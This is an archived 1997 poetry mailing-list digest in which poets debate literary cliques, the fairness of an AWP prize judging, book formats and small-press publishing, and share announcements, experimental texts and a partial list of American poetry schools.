> *insignificant association with him over the past semester, to be a gentle soul with a passionate love for poetry and a waggish bemusement at the endless disparities of humanity.*
>
> *"It is general to be mortal,*
> *I have well observed.*
> *No man may him hyde*
> *from deth hollow-eyed."*
> *- Skelton*
>
> *Patrick Pritchett*

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921. Eliza McGrand- CVA Guest

the fence-sit and the Po Biz

Fri 30 May 1997

---

you must all be SO SICK of my eternal on the one hand and on the others... but here i go anyway:

i recall when i first moved to boston-- young, fresh, hearty, very naive (in retrospect, though then one always thinks one has the wisdom of methusaleh). didn't know anyone. was writing like blazes. and could NOT get a hearing -- i was doing good, not great but good work and with encouragement could have done better work. but all i got was yucky passes, brushoffs, and ignored because i didn't KNOW people and i was too young and female and not imposing enough. it sucked.

yes. i found my way around it. am older now, fatter, snarlier. write better (we can only hope). and now, whenever i can, if i see a nice young person, or even a creepy young person, or even creepy older person, who writes well and is getting dissed, i try and go the extra bit, go beyond that, and do what i can for them and their work. cliques suck.

but, BUT, i recall when i finally started tapping into a net of writers, it was lovely. rich stream of data, experience. ideas. advice. people whose arms i wouldn't HAVE to twist off to get to a poetry reading... i recall the excitement of seeing marjorie perloff's article on yasusada and realizing i saw it on poetics first! (YEAH! i bad, i'm wired!!).

i just want the same chances for everybody. i want to make the work, not who can introduce me to Mr. Famous or Ms. Infuential, to be what matters.

i want world peace. i want to be miss america (if only to stop smiling and refuse to kiss bob barker on public television, or private t.v.!). i want everything. but mostly, i just want a little more fairness and a little less self-interest nad clique-i-ness in writing process...

e

↑ Index

922. **amato**
Re: the fence-sit and the Po Biz
Fri 30 May 1997

---

e, speaking personally now, if idiosyncratically, i think to some extent that what you seek is *precisely* what a list like this can give, at its best...

on the one hand, i feel very much a part of this network community... speaking personally now!...

on the other, even if i do feel as though i'm not straddling any fences with folks, i also feel as though i've got only one foot in... that is, there is some degree of fairness possible hereabouts... "objectivity" (nick, i think so!)---IF by "objectivity" is meant a personal pov with an eye toward accuracy and being fair (i don't accept "objectivity" as value neutral, or unopined)... at least, i feel there is this possibility---i feel we can help one another, and i feel of course (as is always the case) closer to some (of you!) than others... but i feel that the distance that comes along with this particular form of proximity permits for support of one another's work, by which i mean to include informed criteek, on the basis of what we say, not some imagistic 'who'...

of course there are "who's" here... but they're not quite the same, *here*, as they might be elsewhere... e.g., in the pages of so many print journals, which can ossify personality and polarize dialogue... but i don't wish to polarize print either!---i only mean to suggest that the flows here are more quotidian, and helpful in this regard... at least, the potential exists for 'personality' to function more constructively hereabouts... i think in fact it often has...

at the same time, i don't want simply to trumpet these spaces as not having their own peculiar conflictual problems... once a flame ignites, it's tough to put out w/o a simply hug or handshake or what have you...

anyway, random noninklings... yes, to fairness, and to honesty that isn't hurtful///

best,

joe

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923. **David Bromige**
Pie Barrage
Fri 30 May 1997

Agreed, Nick, & I'm glad you added to "urge them on," "egg them on." Bowering eggs me rather than urges me. He tries to get it on my face. You have to move fast around him. David

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924. **Piombino/Simon**
Re: the fence-sit and the Po Biz
Fri 30 May 1997

E.M., I understand how you feel about cliques. I'll never forget how excluded I felt as a young writer.What I have noticed is that poets who spend time helping other writers, whether by reviewing, publishing, setting up reading series, etc, eventually tend be included more in whatever literary activity is taking place. I think the idea of literary excellence alone as deserving of literary reception is an ideal that has become outmoded by the hostility and manipulative quality of the current marketplace. While it may be unfortunate that a period of apprenticeship that might include hard work in forming new literary circles and communities that work together (like the early labor unions, perhaps?) the idea that there is or could be a "fair" and "objective" selection committee is naive and perhaps even dangerous in the current environment.Perhaps we have to learn and teach literary organizing as much as we teach the classics and moderns...But maybe the weather is getting too hot to think about all this so hard. I don't know- are we heading for the netherlands of nomail for the summer? I'd like to know more about your writing. If you can get with "shameless self promotion" (a necessary adjunct, perhaps, to freeing ourselves from the committees and anxiety of influence theories of the world) perhaps sometime(maybe when there are more people reading it again) you might post a sample of your available literary publications on the LIST. But if everybody else knows your work already, I'd appreciate it if you would backchannel to me with some of this info.I'm concerned that in the current literary environment without self(and other) interest there is too often no interest. Cordially, Nick P.On Fri, 30 May 1997, Eliza McGrand- CVA Guest wrote:

> *you must all be SO SICK of my eternal on the one hand and on the others...*
> *but here i go anyway:*
>
> *i recall when i first moved to boston-- young, fresh, hearty, very naive*
> *(in retrospect, though then one always thinks one has the wisdom of*
> *methusaleh). didn't know anyone. was writing like blazes. and could*
> *NOT get a hearing -- i was doing good, not great but good work and with*

> *encouragement could have done better work. but all i got was yucky passes, brushoffs, and ignored because i didn't KNOW people and i was too young and female and not imposing enough. it sucked.*
>
> *yes. i found my way around it. am older now, fatter, snarlier. write better (we can only hope). and now, whenever i can, if i see a nice young person, or even a creepy young person, or even creepy older person, who writes well and is getting dissed, i try and go the extra bit, go beyond that, and do what i can for them and their work. cliques suck.*
>
> *but, BUT, i recall when i finally started tapping into a net of writers, it was lovely. rich stream of data, experience. ideas. advice. people whose arms i wouldn't HAVE to twist off to get to a poetry reading... i recall the excitement of seeing marjorie perloff's article on yasusada and realizing i saw it on poetics first! (YEAH! i bad, i'm wired!!).*
>
> *i just want the same chances for everybody. i want to make the work, not who can introduce me to Mr. Famous or Ms. Infuential, to be what matters.*
>
> *i want world peace. i want to be miss america (if only to stop smiling and refuse to kiss bob barker on public television, or private t.v.!). i want everything. but mostly, i just want a little more fairness and a little less self-interest nad clique-i-ness in writing process...*
>
> *e*

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925. **Fred Muratori**

Re: the fence-sit and the Po Biz

Fri 30 May 1997

> *of course there are "who's" here... but they're not quite the same, *here*, as they might be elsewhere... e.g., in the pages of so many print journals, which can ossify personality and polarize dialogue...*
>
> *joe*

...assuming there even is dialogue. I've wondered why so many lit journals lack letters columns, editorials, -- even book reviews! -- etc.: the unruly stuff that at least opens some kind of communication channel -- now matter how severely delayed or narrow -- and imparts a personality to the journal itself. The effect of having so many poems, stories, reviews and essays just stuck there immutably in print without any comment or follow up is indeed ossifying, though

some would call it simply dignified. Marginal as the editorial flotsam may be, I often find myself reading this material first in whatever kind of magazine I happen to pick up. At least I don't feel like I'm the only human being besides the editor who reads the mag, which -- ridiculous as it sounds -- sometimes happens.

- FM

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

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926. **Mark Prejsnar**

Re: Hyde and seek

Fri 30 May 1997

Nick--I think your meditation about circles of writers is on-target...They are indeed the primary way poets (poets especially, I think) flower outward and come into contact with the world. I think this is only going to continue to increase as a phenomenon, because of A. the cutting of support by right-wing forces who wish to eliminate as much public cultural space as possible, leaving the organization of venues and contacts and publishing in our own hands; and B. an increasing homogenization of all culture and art, as a general trend growing out of the shape of economic life: whatever can be marketed, and helps to reproduce both profit and business-class sensibility, will be given room and resources (e.g., stuff that gets reviewed in the Sunday NYT book review section). Things that stand on their own will have wealth and institutional support increasingly withdrawn. So, circles of poets are both (as you say) a long-standing fact of how people grow and prosper, and also something that will increase in importance becasue of specific historical forces.

The one thing in all this, which informed the previous "cronyism" thread, and which will continue to evoke lots of resentment and outrage is: some groups of poets are always going to have **more** access to money and institutional resources than others. The tension here isn't going to go away, because the difference between groupings isn't going to..Much of the anger about poets

feathering their own (and their friends, and students, and spouses) beds, has to do with the fact that **those poets have some feathers!!**....most of us don't. The best thing is to avoid the temptation to spend much energy on such resentment, and concentrate on cultivating our own networks, and using them to make the worthwhile work we care about more accessible. (I'm not under the misapprehension anyone on the List needs lectures like that last sentence, really..Just sort of thinking out loud....)

Mark Prejsnar
Atlanta

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927. **David R. Israel**
Re: Book Contests/AN IDEA
Fri 30 May 1997

Carla Harryman (fiction - current) and Cole Swenson (poetry - '95) as solar-lunar laureates, elicits a line of inference from Fred Muratori:

> *. . . . Still, the selection of already-established writers from large contest pools suggests at least two obvious conclusions: (1) even established poets and fiction writers feel compelled to enter contests (which unfortunately elbows out the just-as-worthy but no-name small fry), and (2) even with the likely prospect of publishing their work with another press, well-known (relatively speaking) writers still want to publish with Sun & Moon. Who wouldn't?*

And another: (3) the judge/readers won't *disqualify* an entrant on the basis of that writer being already known & established.

I.e., could Sun & Moon take Carla's book and say -- Gee, this is great, we'd love to publish it. But since you're already famous among our esoteric cove, ergo we can't let you win the contest, Carla. How about if we just publish this on its own . . . ? I suppose not.

A flawless approach to this good-purposed procedure is not easy to tool; -- but I guess backseat driverism has its limits (too).

d.i.
.
.....
.....
\\\

| [redacted] (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//////////////////////////////////////\\\\\/////

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928. **David R. Israel**
Re: a writing utensil / Holderlin
Fri 30 May 1997

> Holderlin was a coyote.
- Henry Gould

> Yes he *really* was!
- George Thompson

Incidentally, in the past couple years, Brooklynite Vyt Bakaitis has been working away on some new translations of Holderlin. Perhaps I'll give a few details (or examples) later.

d.i.

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929. **Peter Landers**
Re: book forms
Fri 30 May 1997

There's a difference here between what I was saying about adding a layer of professional bookmaking to the publishing of poetry and the extremely fancy stuff like White Rabbit and Toothpaste. I just think that most book buyers, including me, react better to perfect bound trade editions with at least a two-color cover. It doesn't change the content, of course, but it tells people that the publisher takes the work very seriously. Some really cool stuff exists in xerograph only, but almost nobody buys it. I'm trying to recall if CB & BA even trimmed the edges of those folded stapled legal size sheets when they started, but I think it was the book from Southern Illinois that caught enough attention to increase the sales of their other books, and that's what it's all about.

Sales, sales, sales! Market share. Stock Markets. Welcome to the 20th c. Poets don't get subsidized until after their established, and vice-versa. Ye can weep, but it won't change. So put on a stalwart face and give those books some glossy covers.

Personally, I'd like to dream of an internet utopia where publishers aren't needed, but people use the opinions of publishers and editors to gauge a writer without reading on their own. Plus, like Sanders says, a big meteor could come along and wipe it all out. It's gotta be paper. It has to have market share. It has to slip into libraries. It has to be disputed among dull theoreticians. Otherwise it will all get lost with the sunday paper, put down for puppy-poo.

And it's all so far from the real situation. We write as we eat, breathe, sleep. We speak. We arrange the words as gifts for friends or as part of arguments. Some say they desire to take posession of the language, but for my it's all one. Eat/shit, listen/talk, read/write, wake/sleep. All having nothing to do with being published or being remembered. That comes after, but it comes with a vengeance. Hard work wants appreciation. So bind 'em up, glue em, and slap on a glossy cover. I don't need any fancy letterpress editions, just a regular old book. When our 'zine comes out, that's the way it will be. Fred said we don't need honorariums, but really, what other art goes so unpaid?! In the end, we only want some R.E.S.P.E.C.T. (just a little bit)

When I was enslaved by a literary arts center, we had readings given for free. The state arts agency told us they required that we charge a fee for the readings, so we changed our policy. We got four times as many people. It's all a matter of perception. Gotta be perfect bound, gotta have some color on the cover. That's all.

Pete Landers

↑ Index

930. Steven Marks
Re: the fence-sit and the Po Biz
Fri 30 May 1997

On Fri, 30 May 1997, Fred Muratori wrote:
>
> ...assuming there even is dialogue. I've wondered why so many lit journals
> lack letters columns, editorials, -- even book reviews! -- etc.: the unruly
> stuff that at least opens some kind of communication channel -- now matter
> how severely delayed or narrow -- and imparts a personality to the journal
> itself.

I couldn't agree more. So many litmag pages look like tombstones in a white field. I'm all for white space but what if it was literally filled with marginalia. That would be visually and intellectually exciting!

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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931. Gwyn McVay

AWP/a relief

Fri 30 May 1997

For those of you who were still following this thread:

We did some rather extensive digging into files and archives, and discovered some very important facts: 1) Michelle Glazer's ms. was sent to Jorie Graham by way of screener Kathleen Peirce. 2) When Ms. Graham requested the manuscripts, she did so by *log number*, according to our intern's notes; in other words, every ms. that she did end up picking arrived at her through regular channels. As well, at least one of the mss. she requested did *not* become either a finalist or the winner.

I am glad to discover that regular procedure was followed. I'd like to apologize for any confusion or concern that may have been raised by previous discussion on this topic.

Gwyn McVay

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932. Alan Jennifer Sondheim

Bookss Groommed For The Big One (fwd)

Fri 30 May 1997

Bookss Groommed For The Big One (fwd)

We want to look disspassssionately at the dissorder upon the ssurface of thiss planet, and the fasst-foward excessssess of the humman sspeciess - fromm the disstance of a ssolar ssysstemm or two - it mmight be evident that the ssurface iss doing nothing mmore than a temmporary cleanup; mme- teorss, assteroidss, commetss, ssolar flaress sspitting around the atmmo- ssphere for a few thoussand yearss, give or take a mmillion. The sslight advantage of a potential well here ssuddenly lock-sstock-and-barrel a three or four mmillion year intelligence throughput, ssommething to count on (nummberss develop). Lotss of ssex and inhalationss, pond-sslurp. Crassh, another big one. Now three to four sspeciess an hour dissappear, each with dissappointingly long hisstoriess. A big boomm and it'ss all gone! What'ss to do, ssays the high commmmissssioner; by the

timme that'ss done, crackss appear. Lava, the sstuffing'ss out, worldly cusshion gone awry. High comm jennifer grabss the leftoverss, typess of fliess, viral reproductionss gone mmad, nemmatode inssanity. Run cumm jummp jerussalemm. What'ss that er sayss. Cracked place, reply, there'ss no mmap, no ssoap radio. What'ss that er sayss. Jen'ss gone an other fasst-foward slammmmed to sstop. Rewind er ssayss. Tape'ss broke Jen'ss gone with er vialss. SShe'ss jusst fun, firsst big-pie planet piece boommss in upper sspace. Whewbang!

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933. **Joseph Duemer**

Re: AWP/a relief

Fri 30 May 1997

I, too, am relieved that the AWP Award Series seems to have been conducted according to the written guidelines. We can argue forever, of course, about whether Graham should have picked her own recent student. As someone who years ago had a famous mentor name him third in a first book competiion to avoid the charge of favoritism, well. . . I have mixed feelings on this. But those conflicts have been aired already in this forum.

Two important points: 1) AWP seems to have done nothing outside its own guidelines; 2) Michelle Glazer is in no way responsible for the actions of Jorie Graham. I have not read Ms. Glazer's book, but I think it is very important that we, as readers, not allow ourselves to be swayed by the controversy surrounding its selection, but try to read it on its own terms.

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

934. **David Kellogg**
Re: AWP/a relief
Fri 30 May 1997

Joseph Duemer wrote:

> *Two important points: 1) AWP seems to have done nothing outside its own guidelines; 2) Michelle Glazer is in no way responsible for the actions of Jorie Graham. I have not read Ms. Glazer's book, but I think it is very important that we, as readers, not allow ourselves to be swayed by the controversy surrounding its selection, but try to read it on its own terms.*

Bravo -- good damn points. As for the second:

HAS anybody read the book? I'd like to know if Graham picked a loser (as she sure did with Mark Levine's DEBT, a National Poetry series winner I believe, picked by Graham, who was Levine's teacher.)

Cheers,
David
~~~
~~~

needle:heroin:frozen:cold:ice:silver:710:6:gold:ice:frozen
Would gold mind you partying ice
head:tail:Dog:burnout:mad!:721:4:crazed:burnout:tail
Would crazed mind you partying burnout
Come home with me julu-of-the-fast-crowd
Ah, my breasts eaten by julu-of-the-open-arms and julu-depressed
Come home with me julu-of-the-fast-crowd
Ah, your makeup eaten by julu-of-the-open-arms and julu-depressed
Nothing:Death-Knob:Broken-Hole:301:6:Dry:Death-Knob:Nothing
Come home with me julu-of-the-fast-crowd
Ah, your masquerade eaten by julu-of-the-open-arms and julu-depressed
space:sign:fat:me:flat:anorexic:334:6:thin:flat:sign
Your penetrating the Thing is in my open arms
melt-body:cold-body:gone-body:suck:wayward:345:6:dog-girl:suck:gone-body
Your forgiving love is in my open arms

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936. **Pierre Joris**
Mottram Conference
Sat 31 May 1997

Eric Mottram Conference

Friday 19th September 1997
Probable venue: Centre for English Studies, University of London, Senate House, Malet St., London WC1

The aim of the Conference is to explore and extend the field in which Eric Mottram was working; in particular to take up the recurrent concerns and urgencies which run through the wide range of materials he handled.

This is envisaged as the beginning of a series of conferences, which would
allow for preparation and concentration on particular areas of concern. The
occasion can be used to begin to define these.

The following people have so far agreed to contribute:
Jerome Rothenberg
Pierre Joris
Allen Fisher
John Kenny

Loss Glazier
Dale Carter

Organizing Committee:
Will Rowe (coordinator) [redacted]
Allen Fisher [redacted]
Robert Hampson [redacted]
Peterjon and Yasmin Skelt [redacted]

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertion. -- Maurice Blanchot
==========

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937. **Susan Wheeler**
Re: POETICS Digest - 29 May 1997 to 30 May 1997
Sat 31 May 1997

David Kellogg wrote:

>HAS anybody read the book? I'd like to know if Graham picked a loser (as
>she sure did with Mark Levine's DEBT, a National Poetry series winner I
>believe, picked by Graham, who was Levine's teacher.)
>
Hey, I thought DEBT was a terrific book .

SWheeler
Susan Wheeler
[redacted]
voice/fax [redacted]

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938. **David R. Israel**
credit & debt
Sat 31 May 1997

David Kellogg uttered:
> HAS anybody read the book? I'd like to know if Graham picked a
> loser (as she sure did with Mark Levine's DEBT, a National Poetry
> series winner I believe, picked by Graham, who was Levine's
> teacher.)

and Susan Wheeler countered:
> Hey, I thought DEBT was a terrific book .

well here are the dichots du jour:
winner / loser
credit / debt

if debt is a "loser" yet it's a "winner"
how do you credit that? (what are your charges?)

one recalls a bestseller of bygone years
entitled emphatically "Steal This Book!"

perhaps I'd buy me a copy of "debt"
soon as I'm out of it (so I can get into it)

if you liked debt, you could try the sequel:
Chapter XI (only in hardback)

d.i.

(w/ apology to Mark Levine
whose writing I've yet to espy)
.
.....
.....
\\\

| his comrades home. . . .
| Launch out on his story, Muse,
| daughter of Zeus,
| start from where you will . . .
Homer, The Odyssey
Book 1: Athena Inspires the Prince
trans. Robert Fagles (1996)
~~~~~~~~~~~~~~~~~~~~~~~~ svaha

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939. Tom Mandel
procedures in literary space
Sat 31 May 1997

<rant>

Talk about litpolice!

1. I'm not -- *NOT* -- a fan of Jorie Graham's work, but I hope she picks whomever she chooses to give whatever prize she has to give, and procedures be foutu. Ditto Doug Messerli, and anyone else I know or don't.

Does anyone in her right mind become a poet to follow procedures?

"Fairness" is not -- *NOT* -- a feature of any world or ecology. It's an enlightenment construct and a weak concept. It turns the set of activities it polices into a game. Literally.

Poetry is not a game. People must believe deeply in their activities and the position they create, the world they create, and in groups believe deeply in each other and push each other forward -- work and human being (how are they different?). I want each of you to do that too.

2. Literary space has no border nor inside/outside distinction. It's additive: doing the work creates the space. When you're young and just getting started you think you occupy no literary space, you can't get inside the one you see. People don't seem to want to let you in. Later, after you've made some work, you find that the literary space seems to include you in some way (never satisfactorily, of course). All that means is you've given something, done something, created some space.

Why is it never satisfactory? The conception you have of who you are as a writer, a poet, extends forward beyond what you've written, includes the arc of your writerly intentions as you understand them. But the space is one of work done. There's a gap.
~~~~~~~~~~~~~~~~~~~~~~~~

It's a good gap. It's called ambition. Ambition is good. Ambition to do work is good, that is. It makes you put your work forward and put forward the work of those who occupy your social mirror. It forces you to formulate and understand, and extend and refine, that arc of intention that is the to-come part, the most interesting part, of who you are as a writer.

3. The entire function of procedures is to normalize a world whose existence and flourishing depends on being un-normalized. Do anything you can to resist procedure.

4. (snipping threads) Speaking for myself, I'd be real interested to see Vyt's new Holderlin translations, to discuss Dorn's poetry, to consider why one poses Ron Silliman in opposition to Charles Bernstein yes or no?, to talk more about French argot phrases based on the word foutre, to talk about why poets like to be in groups, how/why the community of poets can subsist globally and over generations of time so that I for example (you too, I hope) feel in a community with Arnaut Daniel (it's the first virtual community), to talk about the ways literary and scholarly criticism intersect new poetry (see above, under "normalization"), even to discuss non-rusting staples, or Web publishing. You name it. Anything but how to form into a fairer and better committee to reform the procedures committee.

</rant>

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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940. **amato**

Re: procedures in literary space

Sat 31 May 1997

---

tom, i get the spirit of what you say, and i understand only too well how the letter kills...

and i'm not wedded to the term "fair," either, but just so we understand ourselves: if i say i'm going to "judge" such & such, and that i will as judge pick what i like best, then that's that... and if i erect a procedure for doing so, and

don't follow that procedure, and somebody calls me on it---well hey, then, i think that anything less than responding to same is unfair, you bet i do!...

but let's be a bit more subtle: whence the impulse to advocate *anything*, if that impulse is not thoroughly (as in 'always already') saturated with moral-political-yeah-ecological-if-you-like longings/aspirations/beliefs?...

personally, i don't hold poetry-as-a-set-of-practices unaccountable to same, even if i don't think "accountability" as an accountant might... and i'm adamantly in favor of working *not* to be programmatic... but here: even this list, technically speaking and as you know, requires programmatic thinking in order to function as such... and it bugs me to have to say that i've never been associated with an institution didn't grate on me b/c of its programmatic stipulations...

so one bind today, in being creative in a creative being in living so etc, is in trying to find some space (incl. that arc of intention to which you refer) in which we aren't reduced to programmatic insistence of _____... but i take this latter as fully moral-ethical-political-blah blah blah as possible... meaning, once i lay claim *mself* to acting in ostensibly programmatic ways, b/c let's say i *did* join the club, it strikes me as my obligation to respond in accordance with what i've laid claim to---or, to change same to make it less programmatic, more hospitable, fair-er!... and in fact, in advocating anything at all, though again this may not be a matter of any but *self*-legislation, i would say that there is a concept of 'fairness' thereabouts, therein, at stake... but that's between or among us on this list, say...

perhaps "fairness" suggests a 'balancing' act that is just not applicable to the arts... as in rendering a decision wrt a courtroom hearing... but once you enter into the public domain advocating that this is the way things will or should work, why then you're all bound up with what's fair---in coping with conflicts of interest and such, even in being self-consistent with what you advocate... one of the reasons that politics per se is such a hassle...

fair enough?...

best,

joe

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941. **James Finnegan**
Re: procedures in literary space
Sat 31 May 1997

In a message dated 97-05-31 09:58:21 EDT, you write:

> *I'm not -- *NOT* -- a fan of Jorie Graham's work, but I hope she picks whomever she chooses to give whatever prize she has to give, and procedures be foutu. Ditto Doug Messerli, and anyone else I know or don't.*
>
> *Does anyone in her right mind become a poet to follow procedures?*
>
> *"Fairness" is not -- *NOT* -- a feature of any world or ecology. It's an enlightenment construct and a weak concept. It turns the set of activities it polices into a game. Literally.*

The Machiavellian poet writes. But I'm not so sure. I think proper disclosure is required when a publisher runs a "competition" (requiring an entry fee). The form of disclosure should be a simple statement in the guidelines: The contest judge will have the right to solicit manuscripts not selected by the screeners as finalists. Caveat emptor.

(I know of a case where a judge asked to select her own screeners. If that was allowed, it should too have been disclosed in the guidelines.)

Finnegan

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942. Christina Fairbank Chirot
Re: book forms
Sat 31 May 1997

As a person who made and sold hundreds of xerox or what i call "XOLLAGE" booklets and broadsheets and so on--I think Pete Landers may have missed one of the points of this kind of activity. It is precisely that it might have as among its intentions ephemerality. The ephermeral can be a way of presenting that which is fugitive and resistant to capture by standardization. A constantly shifting and elusive language that refuses to be turned in to a glossary. A way of looking at --seeing and reading--things that doesn't want the panoptican of normalized publication and reception. The pieces I made in XOLLAGE sold for what it cost to print them. From seven cents to 70 cents. The money involved was ephemeral--whatever sold just paid for more copies. You were always bascially a couple of dollars behind.

The effect of the work was that it got others doing it.

There's always the hope that if a number of people are doing it--there's a bit less normalization in the world. It may come with the dust and be gone with the wind--but then the intention may be to not draw attention, to keep moving, to be mobile-- Camouflage--now you see it now you don't--Deleuze and Guattari have something of this in mind when they write of

Nomadism. But their nomadism is installed now in univerisities and large tomes from presses with two tone glossy covers. This is ever the way of things perhaps as Pete Landers notes. But there's a difference between "getting ahead in the world" and keeping on going-- and it is ever the way of things that there as well things made and done without any interest in creating monuments--

of hundreds of xollage things made--a few may be here and there--unsigned to be sure--but for the most part long gone--

depending on which syllayble you stress in its prononciation, this word indicates two aspects of xollage work:

REFUSE

!!!!!

--dave baptiste chirot

On Fri, 30 May 1997, Peter Landers wrote:

> *There's a difference here between what I was saying about adding a layer of professional bookmaking to the publishing of poetry and the extremely fancy stuff like White Rabbit and Toothpaste. I just think that most book buyers, including me, react better to perfect bound trade editions with at least a two-color cover. It doesn't change the content, of course, but it tells people that the publisher takes the work very seriously. Some really cool stuff exists in xerograph only, but almost nobody buys it. I'm trying to recall if CB & BA even trimmed the edges of those folded stapled legal size sheets when they started, but I think it was the book from Southern Illinois that caught enough attention to increase the sales of their other books, and that's what it's all about.*
>
> *Sales, sales, sales! Market share. Stock Markets. Welcome to the 20th c. Poets don't get subsidized until after their established, and vice-versa. Ye can weep, but it won't change. So put on a stalwart face and give those books some glossy covers.*
>
> *Personally, I'd like to dream of an internet utopia where publishers aren't needed, but people use the opinions of publishers and editors to gauge a writer without reading on their own. Plus, like Sanders says, a big meteor could come along and wipe it all out. It's gotta be paper. It has to have market share. It has to slip into libraries. It has to be disputed among dull theoreticians. Otherwise it will all get lost with the sunday paper, put down for puppy-poo.*
>
> *And it's all so far from the real situation. We write as we eat, breathe, sleep. We speak. We arrange the words as gifts for friends or as part of arguments. Some say they desire to take posession of the language, but for my it's all one. Eat/shit, listen/talk, read/write, wake/sleep. All having*

> *nothing to do with being published or being remembered. That comes after, but it comes with a vengeance. Hard work wants appreciation. So bind 'em up, glue em, and slap on a glossy cover. I don't need any fancy letterpress editions, just a regular old book. When our 'zine comes out, that's the way it will be. Fred said we don't need honorariums, but really, what other art goes so unpaid?! In the end, we only want some R.E.S.P.E.C.T. (just a little bit)*
>
> *When I was enslaved by a literary arts center, we had readings given for free. The state arts agency told us they required that we charge a fee for the readings, so we changed our policy. We got four times as many people. It's all a matter of perception. Gotta be perfect bound, gotta have some color on the cover. That's all.*
>
> *Pete Landers*

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943. **David R. Israel**

Re: book forms / & Holderlin update

Sat 31 May 1997

---

dave baptiste chirot:
> It may come with the dust and be gone with the wind--

"we come like water and like wind we go"
 - Khayyam

d.i.

p.s., Tom & all, spoke w/ Vyt on phone (he's managed to avoid the online universe so far); he'll send me some of his Holderlin holdings & I'll example some of same here.

He also mentioned, in passing, an early, epistolary novel that H. wrote, *Hyperion*, which I'm now curious to look at.

Another remark of Vyt's: that some of his sense of Holderlin was spurred on by readings in Maurice Blanchot's essays (wherein H.'s poetry makes periodic appearance).

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///\\\\\\\/////////\/\\\o///\/\\\\\\\\\\/////\\\...'

.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\/\/\///&\\\/\/////////\\\\\\///..'

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944. charssmith

Fwd: How to read a tesla coil

Sat 31 May 1997

Forwarded message:
From: [redacted] (Mary Katherine Austin)
To: [redacted]
Date: 97-05-30 07:18:23 EDT

HOW TO READ A TESLA COIL
a tour of the show of artists' books "You Call That a Book?"
San Francisco Center for the Book
300 de Haro at 16th Street, San Francisco
Saturday May 31, at 2 pm
free to the public

Info: [redacted], [redacted]

The exhibition "You Call That a Book?" continuing through June 14, features the work of 34 artists who incorporate materials ranging from paper bags to condoms to Tesla coils in their imaginative and technically superb constructions. This is a selection of some of the most inventive and accomplished work yet produced in an art form most people are still unaware of.

The tour will include informal talks by curator Steve Woodall, artist and critic Frances Butler, and Mills College Special Collections librarian Janice Braun. Several artists represented in the show will also be on hand to discuss their work.

With roots going back to William Blake and beyond, the artist's book emerged in the 1970's as a newly recognized genre in the world of visual art. The form continues to grow exponentially, abetted by art school and university programs, and the appearance of centers for the study and promotion of the form, such as the San Francisco Center for the Book.

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945. **Bob Grumman**

A List of Poetry Schools

Sat 31 May 1997

Long convinced that some people (including more than one on this list) don't have as broad a sense of what's going on in contemporary American poetry as they might, and that no one is familiar with *everything* that's out there, I've decided to post my own (definitely flawed) impression of the scene. My hope is that a few of you will augment and adjust that impression, and we can arrive at some kind of intelligent, non-hierarchical, informal Master-List of Schools of American Poetry.

This isn't my first try at this. A few years ago Len Fulton printed a list of mine in *Small Press Review* as a guest editorial. Alas, it generated next to no interest, only two people writing me about it. Poets and poetry-readers obviously have a prejudice against pigeon- holing. I keep at it, anyway, not only because I'm a taxonoholic, but because one of my dreams is that someday someone will publish a truly catholic anthology of current American poetry, which can't happen unless some sort of list is available. Such a list would also prove helpful for indexing all the poetry that is now on the Internet, or soon will be, possibly an even higher priority. In any event, here's what I've ocme up with:

MAINSTREAM POETRY

What's in all the standard anthologies; Vendler-certified; many sub-schools, some of which are:

1. Iowa-Workshop Poetry (e.g., Bell)
2. Surrealist Poetry (e.g., Bly)
3. Ecological Poetry (e.g., Snyder)
4. Jump-Cut Poetry (e.g., Ashbery)

EASY-STREAM POETRY

A variety of poetry that, based on its popularity, ought to be mainstream but is shut out of the major anthologies because academics look down on it.

1. Light Verse
2. Haiku

LANGUAGE POETRY

The poetry in *In the American Tree*, the Messerli anthology, etc.; Perloff-certified; several sub-schools that I lack the knowledge to untangle

CONTRA-GENTEEL POETRY

All the 'unrefined" plain-writing poets inspired by W.C. Williams, Frank O'Hara, the Beats, Bukowski. (Note: I include the ethnic poets in this school--but, of course, many poets, particularly the ethnic poets, are in more than one group--Maya Angelou, for instance, seems to me at times Mainstream, and at times Contra-Genteel.) The main sub-schools I know of are:

1. Conversationalist Poetry (e.g., O'Hara)

2. Beat Poetry (e.g., Corso, Bukowski), with several sub-divisions

3. Ethnic Poetry (e.g., Wanda Coleman)

4. Pop-Rhyme, which sudivides into Rap and the Neo-James-Whitcomb-Reilly School (yes, I need a less condescending name for this group--and probably for the Iowa-Workshop school)

5. Wild-Woman Poetry (e.g., Townsend)

NEOFORMALIST POETRY

Poetry continuing the techniques of traditional English poetry, especially meter.

PLURAESTHETIC POETRY

Any poetry that mixes expressive modalities:

1. Visio-Textual Poetry (e.g., Kempton), with three major and many smaller sub-divisions

2. Audio-Textual Poetry (e.g., McCaffery), also with three major and many smaller sub-divisions

3. Performance Poetry (e.g., Jack Foley)

4. Mathematical Poetry (e.g., LeRoy Gorman)

5. Flow-Chart Poetry (I've seen some but don't remember the name of anyone who does it)

INFRA-VERBAL POETRY

Poetry whose focus is the inside of words. Taxonomically, I consider this school a sub-group of Language Poetry, but it seems sufficiently off on its own to rank as a separate school for the purposes of this list (which is not intended as a formal taxonomy); Joyce and Carroll are infra-verbal poetry's chief forebears--and Cummings, whom I've come to consider more an infra-verbal than a visual poetry

HYPERTEXTUAL POETRY

I know almost nothing about this. It might just be pluraesthetic poetry in a new medium.

